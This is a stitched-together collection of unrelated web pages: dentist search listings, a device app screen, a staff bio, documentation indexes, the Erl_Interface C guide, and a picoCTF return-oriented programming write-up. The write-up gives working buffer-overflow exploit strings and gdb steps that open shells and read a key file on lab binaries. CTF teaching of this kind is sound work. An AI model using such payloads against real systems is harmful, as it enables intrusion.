Fortunately, a growing number of communities in Virginia are providing dental care through free . dental sealants, endodontics, space maintenance, scaling, prophylaxis and oral hygiene . Washington County/Abingdon Health Department .
http://www.vhcf.org/looking-for-help/dental-care/
-
traditional houses in mexico
Rate a Dentist - French Moore III, DDS PC
French Moore III, DDS PC is a dental office in Abingdon, Virginia. . Specialties: Cosmetic Dentistry, General Dentistry, Endodontics, Implant Dentistry, Oral .
http://www.rateadentist.com/reviews/Virginia/Abingdon/DrFrenchMooreIII?applicationId=18
-
plumbers in albuquerque nm
Participating Dentist Directory Delta Dental Premier
Delta Dental Premier. PARTICIPATING PROVIDERS. VIRGINIA. ABINGDON. GENERAL . Abingdon, VA 24210. (276) 628- . THE VIRGINIA ENDODONTIC .
http://www.rcs.k12.va.us/perinst/ins/documents/DeltaDentalProviders20122013.pdf
-
american pool product swimming
Endodontics in Florida - topDentists
135 records . Endodontics in FL. . Find a Dentist - FL - Endodontics . Thomaston, Topsham, Waterville, West Rockport, Yarmouth, Abingdon, Annapolis . Vienna, Vinton, Virginia Beach, Warrenton, Waynesboro, Williamsburg, Winchester .
http://www.usatopdentists.com/find-dentist/FL-Endodontics.asp
-
air hockey sand paper disks
VIRGINIA BOARD OF DENTISTRY
VIRGINIA BOARD OF DENTISTRY . Abingdon, VA . Reprimand with terms for failing to properly diagnose decay; failing to complete endodontic treatment and .
http://www.dhp.virginia.gov/dentistry/newsletters/Board_Case_Decisions_20031.doc
-
compaq 1200 laptops for sale
Endodontics in Missouri - topDentists
35 records . Endodontics in MO. . Find a Dentist - MO - Endodontics . Thomaston, Topsham, Waterville, West Rockport, Yarmouth, Abingdon, Annapolis . Vienna, Vinton, Virginia Beach, Warrenton, Waynesboro, Williamsburg, Winchester .
http://www.usatopdentists.com/find-dentist/MO-Endodontics.asp
-
zip codes ulster county ny
Community Health Guide - Mountain States Health Alliance
106 Water St. Wise, VA 24293.<PHONE_NUMBER> wisedental.net. Endodontists. Umstott, Paul T., DDS. 300 Valley St. NW. Abingdon, VA 24210.<PHONE_NUMBER> .
http://www.msha.com/uploads/pdf_files/communityhealthguide.pdf
-
vinyl siding corner guards
Johnston Memorial Hospital - Virginia Health Information
Abingdon, VA 24211<PHONE_NUMBER>. Medicare Provider Number: 490053. NOTE: 2011 Annual Licensure Survey Data includes procedures performed at .
http://www.vhi.org/Johnston%20Memorial%20Hospital.html?=h7513/
-
myob pocket pc nor
Medical & Dental - Abingdon, Virginia Business Listings.
AbingdonVirginia.com HOTELS REAL ESTATE JOBS · Home · Travel · Real Estate · Jobs · Local · Yellow Pages · Financial · Home Improvement · Bookmark .
http://www.abingdonvirginia.com/local/business-directory_pid_80.html
-
covenant players toledo oh
Patient Surveys for Dr. Matthew T. Ankrum, DDS - Endodontics ...
Patient Surveys for Dr. Matthew T. Ankrum, DDS, Blacksburg, VA, Endodontics. . 38 dentists who match: Endodontist Within 100 miles of Blacksburg, VA 24060 .
http://www.healthgrades.com/dentist/dr-matthew-ankrum-xbggs/patient-ratings
-
hot air balloon costumes
James M. Seaver, DDS « Seaver and Pittman, DDS Bristol VA ...
Seaver and Pittman, DDS Bristol VA, Blountville TN, Dentists . Dental Implants · Dentures and Partials · Endodontics / Root Canal Therapy . degree, Dr. Seaver returned home began practicing dentistry in Abingdon, VA and later Bristol, TN.
http://seaverandpittman.com/our-dentists/james-m-seaver-dds/
-
won't stop lyrics one republic
Dentist in Mountain City, TN
Abingdon, VA 24211 . Abingdon, VA 24210 . often does, further his training in one or more specialty areas (such as surgery, endodontics, orthodontics, etc.).
http://www.wellness.com/find/dentist/tn/mountain%20city
-
campbell river travel lidge
Add your FREE listing now! - Abingdon, Virginia
List Your Business in our Abingdon, Virginia Local Featured Businesses Index. . Dental Insurance, Dental--Cosmetic, Dental--Endodontists, Dental--Family .
http://www.abingdonvirginia.com/local/add-your-business.html
-
593 nassau north brunswick
Dr. Matthew T. Ankrum, DDS - Phone & Address Info Blacksburg ...
Male. Map 1. Get Directions. 3708 S Main St. Blacksburg, VA 24060 . Common Procedures Performed by Endodontists. Cortisone Injection · Hormonal Therapy .
http://www.healthgrades.com/dentist/dr-matthew-ankrum-xbggs
-
s'express original soundtrack torrent
Endodontics in Ohio - topDentists
70 records . Endodontics in OH. . Find a Dentist - OH - Endodontics . Thomaston, Topsham , Waterville, West Rockport, Yarmouth, Abingdon, Annapolis . Vienna, Vinton, Virginia Beach, Warrenton, Waynesboro, Williamsburg, Winchester .
http://www.usatopdentists.com/find-dentist/OH-Endodontics.asp
-
govenor scholar for the arts ky
Dr. George B. Shuping, DDS - Phone & Address Info Mooresville ...
Specialties: Endodontics. Common Procedures Performed by Endodontists. Cortisone Injection · Hormonal Therapy. The VideoCalloutContainer did not render .
http://www.healthgrades.com/dentist/dr-george-shuping-3jg7c
-
won't stop lyrics one republic
Best Chiropractors in Abingdon, Virginia - Find Top ... - ThirdAge
Find a list of the best Chiropractors in Abingdon, Virginia in the ThirdAge.com doctor directory. View ratings and reviews for each physician before you decide to .
http://www.thirdage.com/d/dr/spcct-23/abingdon/virginia/chiropractors


Thingy:52
Connect
Device name
Battery level
Temperature
Pressure
Breathe
Constant
One shot
Intensity
30 %
Delay
1500 ms


Lin Kong
Research Lead
(China)
Ms. Lin Kong was born and raised in mainland China, and immigrated to the USA. Her main topic of interest is the Middle East.
She became an e- board member of the Turkish Cultural Association in college, and later pursued a study abroad program in Turkey. Later, she was invited to become an ambassador of a study abroad program.
In order to pursue her interests, she ran for an e-board position, and was later elected president, in an international studies club. Joining Colligate international, she uses her skills in
researching and preparation for diplomatic programs and events with her teammates.
Her experience comes from her interest of travelling around the world. In the last year, she has visited 20 different countries, making her the most travelled person on the team.


Contains all Events. These Events check it certain conditions are met. Once these conditions are met, corresponding Actions are activated.


Navigation
index
Overview
Factorial Designs
Response Surface Designs
Randomized Designs
Table of contents
Overview
Factorial Designs
Response Surface Designs
Randomized Designs
Quick search
Search the documentation.
Documentation license
Index
Symbols
|
B
|
C
|
F
|
G
|
I
|
L
|
P
|
R
|
S
Symbols
2-Level Fractional Factorial
2-Level Full Factorial
B
Box-Behnken
C
Central Composite
F
Factorial Designs Support
G
General Full-Factorial
I
installation
L
Latin-Hypercube
Latin-Hypercube Designs Support
P
Plackett-Burman
R
Randomized Designs
Response Surface Designs
Response Surface Designs Support
RSM
S
support
Navigation
index
Overview
Factorial Designs
Response Surface Designs
Randomized Designs


| Short description: |
Fast HTTP 1.1 library and server for Ruby web applications. |
| Category: |
Library/Web |
| Status: |
beta |
| Created: |
2006-02-12 21:12:33 GMT |
| Last update: |
2006-03-30 10:42:09 GMT |
| Owner: |
Zed A. Shaw
(Projects of this owner) |
| Homepage: |
http://mongrel.rubyforge.org/ |
| Download: |
http://rubyforge.org/frs/?group_id=1306
|
| License: |
LGPL |
| Dependency: |
| Requires: |
daemons/0.4.2(*)
|
Used for Ruby on Rails support |
| Requires: |
camping/1.2(+)
|
Optional if you want to run the examples for Camping. |
| Requires: |
rails/1.0(+)
|
Optional if you want the mongrel_rails runner. |
| Requires: |
win32-service/0.5.0(*)
|
For win32-service stuff. Mongrel project provides a gem. |
| (*): newer version exists |
| (+): no such version |
|
| Description: |
Mongrel is a fast HTTP library and server for Ruby that is intended for hosting Ruby web applications of any kind using plain HTTP rather than FastCGI or SCGI. It is framework agnostic and already supports Ruby On Rails, Og+Nitro, and Camping frameworks. Runs on any POSIX system and Win32 (including service support under Win32). It also supports a complete plugin system based on RubyGems called GemPlugins.
|
| Versions: |
[0.3.12 (2006-03-30)]
[0.3.11 (2006-03-15)]
[0.3.10 (2006-03-12)]
[0.3.9 (2006-03-06)]
[0.3.8 (2006-03-04)]
[0.3.6 (2006-02-23)]
[0.3.2 (2006-02-13)]
[0.3.1 (2006-02-12)]
|


1 Erl_Interface User's Guide
1.1 Introduction
The Erl_Interface library contains functions that help you integrate programs written in C and Erlang. The functions in Erl_Interface support the following:
- Manipulation of data represented as Erlang data types
- Conversion of data between C and Erlang formats
- Encoding and decoding of Erlang data types for transmission or storage
- Communication between C nodes and Erlang processes
- Backup and restore of C node state to and from Mnesia
By default, the Erl_Interface libraries are only guaranteed to be compatible with other Erlang/OTP components from the same release as the libraries themselves. For information about how to communicate with Erlang/OTP components from earlier releases, see function ei:ei_set_compat_rel and erl_eterm:erl_set_compat_rel.
Scope
In the following sections, these topics are described:
- Compiling your code for use with Erl_Interface
- Initializing Erl_Interface
- Encoding, decoding, and sending Erlang terms
- Building terms and patterns
- Pattern matching
- Connecting to a distributed Erlang node
- Using the Erlang Port Mapper Daemon (EPMD)
- Sending and receiving Erlang messages
- Remote procedure calls
- Using global names
- Using the registry
Prerequisites
It is assumed that the reader is familiar with the Erlang programming language.
1.2 Compiling and Linking Your Code
To use any of the Erl_Interface functions, include the following lines in your code:
#include "erl_interface.h" #include "ei.h"
Determine where the top directory of your OTP installation is. To find this, start Erlang and enter the following command at the Eshell prompt:
Eshell V4.7.4 (abort with ^G) 1> code:root_dir(). /usr/local/otp
To compile your code, ensure that your C compiler knows where to find erl_interface.h by specifying an appropriate -I argument on the command line, or add it to the CFLAGS definition in your Makefile. The correct value for this path is $OTPROOT/lib/erl_interface-$EIVSN/include, where:
-
$OTPROOT is the path reported by code:root_dir/0 in the example above.
-
$EIVSN is the version of the Erl_Interface application, for example, erl_interface-3.2.3.
Compiling the code:
$ cc -c -I/usr/local/otp/lib/erl_interface-3.2.3/include myprog.c
When linking:
- Specify the path to liberl_interface.a and libei.a with -L$OTPROOT/lib/erl_interface-3.2.3/lib.
- Specify the name of the libraries with -lerl_interface -lei.
Do this on the command line or add the flags to the LDFLAGS definition in your Makefile.
Linking the code:
$ ld -L/usr/local/otp/lib/erl_interface-3.2.3/ lib myprog.o -lerl_interface -lei -o myprog
On some systems it can be necessary to link with some more libraries (for example, libnsl.a and libsocket.a on Solaris, or wsock32.lib on Windows) to use the communication facilities of Erl_Interface.
If you use the Erl_Interface functions in a threaded application based on POSIX threads or Solaris threads, then Erl_Interface needs access to some of the synchronization facilities in your threads package. You must specify extra compiler flags to indicate which of the packages you use. Define _REENTRANT and either STHREADS or PTHREADS. The default is to use POSIX threads if _REENTRANT is specified.
1.3 Initializing the Erl_Interface Library
Before calling any of the other Erl_Interface functions, call erl_init() exactly once to initialize the library. erl_init() takes two arguments. However, the arguments are no longer used by Erl_Interface and are therefore to be specified as erl_init(NULL,0).
1.4 Encoding, Decoding, and Sending Erlang Terms
Data sent between distributed Erlang nodes is encoded in the Erlang external format. You must therefore encode and decode Erlang terms into byte streams if you want to use the distribution protocol to communicate between a C program and Erlang.
The Erl_Interface library supports this activity. It has several C functions that create and manipulate Erlang data structures. The library also contains an encode and a decode function. The following example shows how to create and encode an Erlang tuple {tobbe,3928}:
ETERM *arr[2], *tuple; char buf[BUFSIZ]; int i; arr[0] = erl_mk_atom("tobbe"); arr[1] = erl_mk_integer(3928); tuple = erl_mk_tuple(arr, 2); i = erl_encode(tuple, buf);
Alternatively, you can use erl_send() and erl_receive_msg, which handle the encoding and decoding of messages transparently.
For a complete description, see the following modules:
- erl_eterm for creating Erlang terms
- erl_marshal for encoding and decoding routines
1.5 Building Terms and Patterns
The previous example can be simplified by using the erl_format module to create an Erlang term:
ETERM *ep; ep = erl_format("{~a,~i}", "tobbe", 3928);
For a complete description of the different format directives, see the erl_format module.
The following example is more complex:
ETERM *ep; ep = erl_format("[{name,~a},{age,~i},{data,~w}]", "madonna", 21, erl_format("[{adr,~s,~i}]", "E-street", 42)); erl_free_compound(ep);
As in the previous examples, it is your responsibility to free the memory allocated for Erlang terms. In this example, erl_free_compound() ensures that the complete term pointed to by ep is released. This is necessary because the pointer from the second call to erl_format is lost.
The following example shows a slightly different solution:
ETERM *ep,*ep2; ep2 = erl_format("[{adr,~s,~i}]","E-street",42); ep = erl_format("[{name,~a},{age,~i},{data,~w}]", "madonna", 21, ep2); erl_free_term(ep); erl_free_term(ep2);
In this case, you free the two terms independently. The order in which you free the terms ep and ep2 is not important, because the Erl_Interface library uses reference counting to determine when it is safe to remove objects.
If you are unsure whether you have freed the terms properly, you can use the following function to see the status of the fixed term allocator:
long allocated, freed; erl_eterm_statistics(&allocated,&freed); printf("currently allocated blocks: %ld\n",allocated); printf("length of freelist: %ld\n",freed); /* really free the freelist */ erl_eterm_release();
For more information, see the erl_malloc module.
1.6 Pattern Matching
An Erlang pattern is a term that can contain unbound variables or "do not care" symbols. Such a pattern can be matched against a term and, if the match is successful, any unbound variables in the pattern will be bound as a side effect. The content of a bound variable can then be retrieved:
ETERM *pattern; pattern = erl_format("{madonna,Age,_}");
The erl_format:erl_match function performs pattern matching. It takes a pattern and a term and tries to match them. As a side effect any unbound variables in the pattern will be bound. In the following example, a pattern is created with a variable Age, which is included at two positions in the tuple. The pattern match is performed as follows:
-
erl_match binds the contents of Age to 21 the first time it reaches the variable.
-
The second occurrence of Age causes a test for equality between the terms, as Age is already bound to 21. As Age is bound to 21, the equality test succeeds and the match continues until the end of the pattern.
-
If the end of the pattern is reached, the match succeeds and you can retrieve the contents of the variable.
ETERM *pattern,*term; pattern = erl_format("{madonna,Age,Age}"); term = erl_format("{madonna,21,21}"); if (erl_match(pattern, term)) { fprintf(stderr, "Yes, they matched: Age = "); ep = erl_var_content(pattern, "Age"); erl_print_term(stderr, ep); fprintf(stderr,"\n"); erl_free_term(ep); } erl_free_term(pattern); erl_free_term(term);
For more information, see the erl_format:erl_match function.
1.7 Connecting to a Distributed Erlang Node
To connect to a distributed Erlang node, you must first initialize the connection routine with erl_connect:erl_connect_init, which stores information, such as the hostname, node name, and IP address for later use:
int identification_number = 99; int creation=1; char *cookie="a secret cookie string"; /* An example */ erl_connect_init(identification_number, cookie, creation);
For more information, see the erl_connect module.
After initialization, you set up the connection to the Erlang node. To specify the Erlang node you want to connect to, use erl_connect(). The following example sets up the connection and is to result in a valid socket file descriptor:
int sockfd; char<EMAIL_ADDRESS>/* An example */ if ((sockfd = erl_connect(nodename)) < 0) erl_err_quit("ERROR: erl_connect failed");
erl_err_quit() prints the specified string and terminates the program. For more information, see the erl_error module.
1.8 Using EPMD
erts:epmd is the Erlang Port Mapper Daemon. Distributed Erlang nodes register with epmd on the local host to indicate to other nodes that they exist and can accept connections. epmd maintains a register of node and port number information, and when a node wishes to connect to another node, it first contacts epmd to find the correct port number to connect to.
When you use erl_connect to connect to an Erlang node, a connection is first made to epmd and, if the node is known, a connection is then made to the Erlang node.
C nodes can also register themselves with epmd if they want other nodes in the system to be able to find and connect to them.
Before registering with epmd, you must first create a listen socket and bind it to a port. Then:
int pub; pub = erl_publish(port);
pub is a file descriptor now connected to epmd. epmd monitors the other end of the connection. If it detects that the connection has been closed, the node becomes unregistered. So, if you explicitly close the descriptor or if your node fails, it becomes unregistered from epmd.
Notice that on some systems (such as VxWorks), a failed node is not detected by this mechanism, as the operating system does not automatically close descriptors that were left open when the node failed. If a node has failed in this way, epmd prevents you from registering a new node with the old name, as it thinks that the old name is still in use. In this case, you must unregister the name explicitly:
erl_unpublish(node);
This causes epmd to close the connection from the far end. Notice that if the name was in fact still in use by a node, the results of this operation are unpredictable. Also, doing this does not cause the local end of the connection to close, so resources can be consumed.
1.9 Sending and Receiving Erlang Messages
Use one of the following two functions to send messages:
As in Erlang, messages can be sent to a pid or to a registered name. It is easier to send a message to a registered name, as it avoids the problem of finding a suitable pid.
Use one of the following two functions to receive messages:
erl_receive() receives the message into a buffer, while erl_receive_msg() decodes the message into an Erlang term.
Example of Sending Messages
In the following example, {Pid, hello_world} is sent to a registered process my_server. The message is encoded by erl_send():
extern const char *erl_thisnodename(void); extern short erl_thiscreation(void); #define SELF(fd) erl_mk_pid(erl_thisnodename(),fd,0,erl_thiscreation()) ETERM *arr[2], *emsg; int sockfd, creation=1; arr[0] = SELF(sockfd); arr[1] = erl_mk_atom("Hello world"); emsg = erl_mk_tuple(arr, 2); erl_reg_send(sockfd, "my_server", emsg); erl_free_term(emsg);
The first element of the tuple that is sent is your own pid. This enables my_server to reply. For more information about the primitives, see the erl_connect module.
Example of Receiving Messages
In this example, {Pid, Something} is received. The received pid is then used to return {goodbye,Pid}.
ETERM *arr[2], *answer; int sockfd,rc; char buf[BUFSIZE]; ErlMessage emsg; if ((rc = erl_receive_msg(sockfd , buf, BUFSIZE, &emsg)) == ERL_MSG) { arr[0] = erl_mk_atom("goodbye"); arr[1] = erl_element(1, emsg.msg); answer = erl_mk_tuple(arr, 2); erl_send(sockfd, arr[1], answer); erl_free_term(answer); erl_free_term(emsg.msg); erl_free_term(emsg.to); }
To provide robustness, a distributed Erlang node occasionally polls all its connected neighbors in an attempt to detect failed nodes or communication links. A node that receives such a message is expected to respond immediately with an ERL_TICK message. This is done automatically by erl_receive(). However, when this has occurred, erl_receive returns ERL_TICK to the caller without storing a message into the ErlMessage structure.
When a message has been received, it is the caller's responsibility to free the received message emsg.msg and emsg.to or emsg.from, depending on the type of message received.
For more information, see the erl_connect and erl_eterm modules.
1.10 Remote Procedure Calls
An Erlang node acting as a client to another Erlang node typically sends a request and waits for a reply. Such a request is included in a function call at a remote node and is called a remote procedure call.
The following example shows how the Erl_Interface library supports remote procedure calls:
char modname[]=THE_MODNAME; ETERM *reply,*ep; ep = erl_format("[~a,[]]", modname); if (!(reply = erl_rpc(fd, "c", "c", ep))) erl_err_msg("<ERROR> when compiling file: %s.erl !\n", modname); erl_free_term(ep); ep = erl_format("{ok,_}"); if (!erl_match(ep, reply)) erl_err_msg("<ERROR> compiler errors !\n"); erl_free_term(ep); erl_free_term(reply);
c:c/1 is called to compile the specified module on the remote node. erl_match() checks that the compilation was successful by testing for the expected ok.
For more information about erl_rpc() and its companions erl_rpc_to() and erl_rpc_from(), see the erl_connect module.
1.11 Using Global Names
A C node has access to names registered through the global module in Kernel. Names can be looked up, allowing the C node to send messages to named Erlang services. C nodes can also register global names, allowing them to provide named services to Erlang processes or other C nodes.
Erl_Interface does not provide a native implementation of the global service. Instead it uses the global services provided by a "nearby" Erlang node. To use the services described in this section, it is necessary to first open a connection to an Erlang node.
To see what names there are:
char **names; int count; int i; names = erl_global_names(fd,&count); if (names) for (i=0; i<count; i++) printf("%s\n",names[i]); free(names);
erl_global:erl_global_names allocates and returns a buffer containing all the names known to the global module in Kernel. count is initialized to indicate the number of names in the array. The array of strings in names is terminated by a NULL pointer, so it is not necessary to use count to determine when the last name is reached.
It is the caller's responsibility to free the array. erl_global_names allocates the array and all the strings using a single call to malloc(), so free(names) is all that is necessary.
To look up one of the names:
ETERM *pid; char node[256]; pid = erl_global_whereis(fd,"schedule",node);
If "schedule" is known to the global module in Kernel, an Erlang pid is returned that can be used to send messages to the schedule service. Also, node is initialized to contain the name of the node where the service is registered, so that you can make a connection to it by simply passing the variable to erl_connect.
Before registering a name, you should already have registered your port number with epmd. This is not strictly necessary, but if you neglect to do so, then other nodes wishing to communicate with your service cannot find or connect to your process.
Create a pid that Erlang processes can use to communicate with your service:
ETERM *pid; pid = erl_mk_pid(thisnode,14,0,0); erl_global_register(fd,servicename,pid);
After registering the name, use erl_connect:erl_accept to wait for incoming connections.
Remember to free pid later with erl_malloc:erl_free_term.
To unregister a name:
erl_global_unregister(fd,servicename);
1.12 Using the Registry
This section describes the use of the registry, a simple mechanism for storing key-value pairs in a C-node, as well as backing them up or restoring them from an Mnesia table on an Erlang node. For more detailed information about the individual API functions, see the registry module.
Keys are strings, that is, NULL-terminated arrays of characters, and values are arbitrary objects. Although integers and floating point numbers are treated specially by the registry, you can store strings or binary objects of any type as pointers.
To start, open a registry:
ei_reg *reg; reg = ei_reg_open(45);
The number 45 in the example indicates the approximate number of objects that you expect to store in the registry. Internally the registry uses hash tables with collision chaining, so there is no absolute upper limit on the number of objects that the registry can contain, but if performance or memory usage is important, then you are to choose a number accordingly. The registry can be resized later.
You can open as many registries as you like (if memory permits).
Objects are stored and retrieved through set and get functions. The following example shows how to store integers, floats, strings, and arbitrary binary objects:
struct bonk *b = malloc(sizeof(*b)); char *name = malloc(7); ei_reg_setival(reg,"age",29); ei_reg_setfval(reg,"height",1.85); strcpy(name,"Martin"); ei_reg_setsval(reg,"name",name); b->l = 42; b->m = 12; ei_reg_setpval(reg,"jox",b,sizeof(*b));
If you try to store an object in the registry and there is an existing object with the same key, the new value replaces the old one. This is done regardless of whether the new object and the old one have the same type, so you can, for example, replace a string with an integer. If the existing value is a string or binary, it is freed before the new value is assigned.
Stored values are retrieved from the registry as follows:
long i; double f; char *s; struct bonk *b; int size; i = ei_reg_getival(reg,"age"); f = ei_reg_getfval(reg,"height"); s = ei_reg_getsval(reg,"name"); b = ei_reg_getpval(reg,"jox",&size);
In all the above examples, the object must exist and it must be of the right type for the specified operation. If you do not know the type of an object, you can ask:
struct ei_reg_stat buf; ei_reg_stat(reg,"name",&buf);
Buf is initialized to contain object attributes.
Objects can be removed from the registry:
ei_reg_delete(reg,"name");
When you are finished with a registry, close it to remove all the objects and free the memory back to the system:
ei_reg_close(reg);
Backing Up the Registry to Mnesia
The contents of a registry can be backed up to Mnesia on a "nearby" Erlang node. You must provide an open connection to the Erlang node (see erl_connect). Also, Mnesia 3.0 or later must be running on the Erlang node before the backup is initiated:
ei_reg_dump(fd, reg, "mtab", dumpflags);
This example back up the contents of the registry to the specified Mnesia table "mtab". Once a registry has been backed up to Mnesia like this, more backups only affect objects that have been modified since the most recent backup, that is, objects that have been created, changed, or deleted. The backup operation is done as a single atomic transaction, so that either the entire backup is performed or none of it.
Likewise, a registry can be restored from a Mnesia table:
ei_reg_restore(fd, reg, "mtab");
This reads the entire contents of "mtab" into the specified registry. After the restore, all the objects in the registry are marked as unmodified, so a later backup only affects objects that you have modified since the restore.
Notice that if you restore to a non-empty registry, objects in the table overwrite objects in the registry with the same keys. Also, the entire contents of the registry is marked as unmodified after the restore, including any modified objects that were not overwritten by the restore operation. This may not be your intention.
Storing Strings and Binaries
When string or binary objects are stored in the registry it is important that some simple guidelines are followed.
Most importantly, the object must have been created with a single call to malloc() (or similar), so that it can later be removed by a single call to free(). Objects are freed by the registry when it is closed, or when you assign a new value to an object that previously contained a string or binary.
Notice that if you store binary objects that are context-dependent (for example, containing pointers or open file descriptors), they lose their meaning if they are backed up to a Mnesia table and later restored in a different context.
When you retrieve a stored string or binary value from the registry, the registry maintains a pointer to the object and you are passed a copy of that pointer. You should never free an object retrieved in this manner because when the registry later attempts to free it, a runtime error occurs that likely causes the C-node to crash.
You are free to modify the contents of an object retrieved this way. However, when you do so, the registry is not aware of your changes, possibly causing it to be missed the next time you make an Mnesia backup of the registry contents. This can be avoided if you mark the object as dirty after any such changes with registry:ei_reg_markdirty, or pass appropriate flags to registry:ei_reg_dump.


ROP (Return Oriented Programming) - The Basics
If you haven't read my blog post on buffer overflows, I recommend you read it to better understand this post. This is based on the CTF competition picoCTF, but should apply to most (basic) ROP problems.
What return oriented programming is all about: ROP is related to buffer overflows, in that it requires a buffer to overflow. The difference is that ROP is used to bypass certain protection measures that prevent normal buffer overflows. It turns out that a lot of the time, memory in programs is marked as non-executable. This means that we can't just put shellcode on the stack and have it execute, this is where ROP comes in. Recall the stack:
[ return address ] <-- this is the address of the next function to call, we want to overwrite this
[ eip (address) ] <-- this takes up memory
[ stack variable ] <-- this also takes up memory
[ buffer[15] ] <-- this is the 16th character of our input string
[ ... ]
[ buffer[0] ] <-- our input starts here
Now, our goal (as in buffer overflows) is to take control of the stack. At this point, go watch this video: http://codearcana.com/posts/2013/04/28/picoctf-videos.html. It will explain the concept behind how we will need to modify the stack in order to get what we want, and I will show you the code.
Lets walk through ROP 3:
#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf,256);
}
int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}
Ok, so we have a 128 byte buffer. Remember that there is extra stuff above it in the stack, so we need to add some extra bytes to our overflow (12). Our exploit string looks like this:
cat <(python -c 'print "A"*140') - | ./rop3
Now lets add a return address. Specifically, lets add the address that points to the <system>
call.
This is what we need to accomplish in C which will give us a shell: system("/bin/sh");
So we open up the program in gdb, and print out the adresss of system:
gdb rop3
(gdb) break main
(gdb) run
(gdb) print system
$1 = {<text variable, no debug info>} 0xf7e68250 <system>
Alright, system is at 0xf7e68250,
which in escaped little endian looks like: \x50\x82\xe6\xf7
.
Now our exploit string looks like this:
cat <(python -c 'print "\x00"*140+"\x50\x82\xe6\xf7") - | ./rop3
We need 2 more things, a fake return address and an argument to pass to system ("/bin/sh")
.
The fake return address can be anything, so I chose "\x00"*4
(remember an address is 4 bytes).
To get the "/bin/sh"
string to pass in, were going to have find it inside of libc (unlike ROP 2, where it was given to you). This is done using gdb find, like so:
(gdb) break main
(gdb) run
(gdb) print &system
$1 = (<text variable, no debug info> *) 0xf7e68250 <system>
(gdb) find &system,+9999999,"/bin/sh"
0xf7f86c4c
warning: Unable to access target memory at 0xf7fd0fd4, halting search.
1 pattern found.
Now we have the string "/bin/sh"
at 0xf7f86c4c
. Lets finish constructing our exploit string:
(overflow)
(<system>)
(fake return address)
("/bin/sh" from libc)
cat <(python -c 'print "\x00"*140+"\x50\x82\xe6\xf7"+ "\x00"*4 +"\x4c\x6c\xf8\xf7"') - | ./rop3
Done!
id
uid=1796(user1792) gid=3009(rop3) groups=1797(user1792),1002(webshell)
Now for ROP 4 (by writing this, I was able to then go back and solve it).
Here is my solution:
(overflow)
(<execlp>)
(fake return)
("/bin/sh")(twice)
($EXPLOIT env variable)
(null)
cat <(python -c 'print "A"*140+"\xb0\x3a\x05\x08"+ "A"*4 +"\x4f\xbf\x0c\x08"*2+"\x50\xd8\xff\xff"+"\xa1\x97\x0c\x08"') - | ./rop4
And the problem source:
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char exec_string[20];
void exec_the_string() {
execlp(exec_string, exec_string, NULL);
}
void call_me_with_cafebabe(int cafebabe) {
if (cafebabe == 0xcafebabe) {
strcpy(exec_string, "/sh");
}
}
void call_me_with_two_args(int deadbeef, int cafebabe) {
if (cafebabe == 0xcafebabe && deadbeef == 0xdeadbeef) {
strcpy(exec_string, "/bin");
}
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
exec_string[0] = '\0';
vulnerable_function();
}
So, probably not how you were suppose to solve it (based on the source code), but it works. With ROP4, were not given <system>
, but we are given <execlp>
. execlp takes 3 parameters: char *file, char *arg, NULL
Our goal then is to run this (not really though, as you will learn later): execlp("/bin/sh","/bin/sh",NULL);
Lets get the addresses of <exclp>
, "/bin/sh"
, "sh"
, and NULL
using gdb:
(gdb) break main
(gdb) run
(gdb) print execlp
$1 = {<text variable, no debug info>} 0x8053ab0 <execlp>
(gdb) find &execlp,+999999999,"/bin/sh"
0x80cbf4f
(gdb) print &null
$3 = (<data variable, no debug info> *) 0x80c97a1
(gdb) x/s 0x80c97a1
0x80c97a1 <null>: "(null)"
Alright, lets try it:
(overflow)
(execlp)
(fake return)
("/bin/sh")(three times)
(null)
cat <(python -c 'print "A"*140+"\xb0\x3a\x05\x08"+ "A"*4+ "\x4f\xbf\x0c\x08"*3+ "\xa1\x97\x0c\x08"') - | ./rop4
*note, I don't know why I needed /bin/sh 3 times, but it works so just roll with it.
However, when we do that, we get: /bin/sh: /bin/sh: cannot execute binary file
Now, here is where I will admit that I don't actually know C (ie. how your suppose to call execlp). What I do know is that it's calling sh, with the parameter sh, which you can't do (sh sh: error). So instead of trying to fix that, I decided to change the argument passed to sh to be my own program (in my home directory). It looks like this:
# rop4s.sh
cat /problems/ROP_4_887f7f28b1f64d7e/key
Now, we need to be able to pass in the location of that file ("/home2/user1792/rop4s.sh") to our execlp function. Here is where we need to use an environment variable. Lets assign our string to EXPLOIT and then use our program from buffer overflows to find its address (compile with '-m32' to get a shoter memory address - gcc -m32 -o printer printer.c):
export EXPLOIT="/home2/user1792/rop4s.sh"
/* printer.c */
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv) {
printf("\n%p\n\n", getenv("EXPLOIT"));
return(0);
}
Running that we get: 0xffffd830 as our address. Alright, lets use that instead of our 3rd "/bin/sh":
(overflow)
(execlp)
(fake return)
("/bin/sh")(two times)
(EXPLOIT address)
(null)
cat <(python -c 'print "A"*140+"\xb0\x3a\x05\x08"+ "A"*4+ "\x4f\xbf\x0c\x08"*2+ "\x30\xd8\xff\xff"+"\xa1\x97\x0c\x08"') - | ./rop4
/bin/sh: �z X�K ����i686: No such file or directory
Well that didn't work. Lets increase the address of our environment variable by an arbitrary 32 (0x20).
(overflow)
(<execlp>)
(fake return)
("/bin/sh")(twice)
($EXPLOIT env variable)
(null)
cat <(python -c 'print "A"*140+"\xb0\x3a\x05\x08"+ "A"*4 +"\x4f\xbf\x0c\x08"*2+"\x50\xd8\xff\xff"+"\xa1\x97\x0c\x08"') - | ./rop4
Success! Wait... what just happened. Yeah, I have no idea. Good luck!
(I got the 0x20 increase by just increasing the value arbitrarily to something like 0x18, and found my environment variable stuck in there. Just increased the address until it cut off the "EXPLOIT=" bit before the path).
Normally ASLR is turned on, which randomizes addresses (like our environment variable) so that they're impossible hard to find. In this case ASLR was not turned on, but the stack got modified slightly anyways. Basically something caused the stack to change and move stuff around (ie. the real address to our environment variable), which we cannot always predict. That being said, we can still guess (as long as ASLR is off) and it turns out that we weren't that far off (0x20). Bypassing ASLR is outside the scope of this post (and my knowledge) but its nice to clear up that bit.
Update:
Finding the environment variable with a mangled stack can be tough, so I figured out a more robust solution. Instead of using an environment variable, lets just make a new command and use strings from libc to call it. This is what I mean:
- remember rop4s.sh?, make a copy of it and name it "ch"
- now edit your PATH and add the directory of your "ch" shell script file
